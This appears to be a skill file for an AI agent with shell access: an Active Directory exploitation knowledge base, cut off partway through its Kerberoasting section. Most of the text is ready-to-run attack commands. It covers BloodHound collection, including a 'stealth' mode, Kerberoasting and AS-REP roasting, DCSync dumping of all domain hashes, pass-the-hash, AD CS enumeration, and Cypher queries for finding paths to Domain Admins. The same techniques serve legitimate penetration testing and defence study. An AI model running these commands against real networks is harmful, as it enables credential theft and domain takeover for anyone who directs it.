ad

Files (2)

• SKILL.md
• attack-paths.md · references/

SKILL.md (first lines)

---
name: ad
description: "Active Directory exploitation — BloodHound analysis, Kerberoasting, AS-REP Roasting, AD CS abuse, DCSync, Golden Ticket, Constrained Delegation."
allowed-tools: Bash Read Write
metadata:
  subdomain: credential-access
  when_to_use: "kerberoast, AS-REP roast, DCSync, golden ticket, AD CS, bloodhound, constrained delegation, active directory exploit, certipy, rubeus"
  tags: active-directory, kerberos, credential-access, privilege-escalation, lateral-movement
  mitre_attack: T1558.003, T1558.004, T1003.006, T1649, T1550.003, T1087.002
---

# Active Directory Exploitation Knowledge Base

Active Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).

## Quick Reference — Common AD Attack Patterns
```bash
# BloodHound collection (SharpHound from Windows)
SharpHound.exe -c All --outputdirectory bloodhound/

# BloodHound collection (bloodhound-python from Linux)
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# Kerberoast all SPNs
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# AS-REP Roast
impacket-GetNPUsers '<DOMAIN>/' -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# DCSync — dump all hashes
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>'@<DC_IP> -outputfile dcsync_dump

# AD CS enumeration
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <DC_IP> -stdout > adcs_enum.txt
```

## MITRE ATT&CK Mapping

| Technique ID | Name | Skill Section |
|-------------|------|---------------|
| T1558.003 | Kerberoasting | Section 2 |
| T1558.004 | AS-REP Roasting | Section 3 |
| T1003.006 | DCSync | Section 5 |
| T1649 | Steal or Forge Authentication Certificates | Section 4 |
| T1550.003 | Pass the Ticket | Section 6, 7 |
| T1087.002 | Domain Account Discovery | Section 1 |

## 1. BloodHound / SharpHound — Attack Path Analysis

### Data Collection

**SharpHound (Windows)**
```powershell
# All collection methods — generates ZIP for BloodHound import
SharpHound.exe -c All --outputdirectory C:\workspace\bloodhound\

# Stealth collection — sessions only (lower noise)
SharpHound.exe -c Session --loop --loopduration 02:00:00

# Specific collection types
SharpHound.exe -c DCOnly           # DC queries only — no host enumeration
SharpHound.exe -c Group,ACL,Trust  # Targeted collection
```

**bloodhound-python (Linux)**
```bash
# Full collection from Linux
bloodhound-python -u '<USER>' -p '<PASS>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/

# With NTLM hash (pass-the-hash)
bloodhound-python -u '<USER>' --hashes ':<NT_HASH>' -d <TARGET> -ns <DC_IP> -c all --zip -o bloodhound/
```

### Key BloodHound Queries
```cypher
# Find shortest path to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<TARGET>"})) RETURN p

# Find Kerberoastable users with admin paths
MATCH (u:User {hasspn:true})-[*1..5]->(g:Group {highvalue:true}) RETURN u.name, g.name

# Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description

# Find users with DCSync rights
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p

# Find constrained delegation targets
MATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate
```

## 2. Kerberoasting

Targets service accounts with SPNs. Requests TGS tickets encrypted with the service account's password hash, then cracks offline.

### Enumeration & Extraction

**Impacket (Linux)**
```bash
# Request all kerberoastable TGS tickets
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# With NTLM hash
impacket-GetUserSPNs '<DOMAIN>/<USER>' -hashes ':<NT_HASH>' -dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt

# Target a specific SPN
impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASS>' -dc-ip <DC_IP> -request-user '<SPN_USER>' -outputfile kerberoast_target.txt
```

**Rubeus (Windows)**
```powershell
# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:C:\workspace\kerberoast_hashes.txt

# Target specific user
Rubeus.exe kerberoast /user:<SPN_USER> /outfile:C:\workspace\kerberoast_target.txt

# Use RC4 downgrade for easier cracking (noisier)
Rubeus.exe kerberoast /rc4opsec /outfile:C:\workspace\kerberoast_rc4.txt

From dazeb/botron, Apache-2.0.

More from dazeb/botron